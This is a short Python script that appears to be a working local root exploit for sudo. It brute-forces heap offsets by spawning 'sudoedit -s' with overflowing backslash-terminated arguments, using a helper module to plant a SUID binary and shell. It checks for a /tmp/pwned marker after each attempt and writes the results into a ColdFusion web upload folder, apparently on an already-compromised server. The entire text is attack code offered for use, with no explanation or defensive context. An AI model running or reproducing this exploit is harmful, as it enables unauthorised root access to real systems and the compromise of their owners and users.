import bs_mailer, os
bs_mailer.has_tailq=False; bs_mailer.has_file=False; bs_mailer.MATCH_ALL=279; bs_mailer.DEFAULTS_CMND=268
bs_mailer.STACK_ADDR_PAGE=0x7fffffdfefda
env=bs_mailer.create_env(0x20)
bs_mailer.create_bin(bs_mailer.SUID_PATH)
bs_mailer.create_shell(bs_mailer.SHELL_PATH, bs_mailer.SUID_PATH)
out=[]
for cs in range(0x1150, 0x4200, 0x20):
    argv=[b"sudoedit",b"-A",b"-s",b"-C",b"1337",b"A"*(cs-0x10)+b"\\",None]
    ec=bs_mailer.spawn_raw(bs_mailer.SUDO_PATH, argv, env)
    out.append('0x%x:%d'%(cs,ec))
    if os.path.exists('/tmp/pwned'):
        out.append('PWNED@0x%x'%cs); break
open('/opt/coldfusion8/wwwroot/userfiles/file/scan.txt','w').write('pwned=%s\n%s\n'%(os.path.exists('/tmp/pwned'),','.join(out)))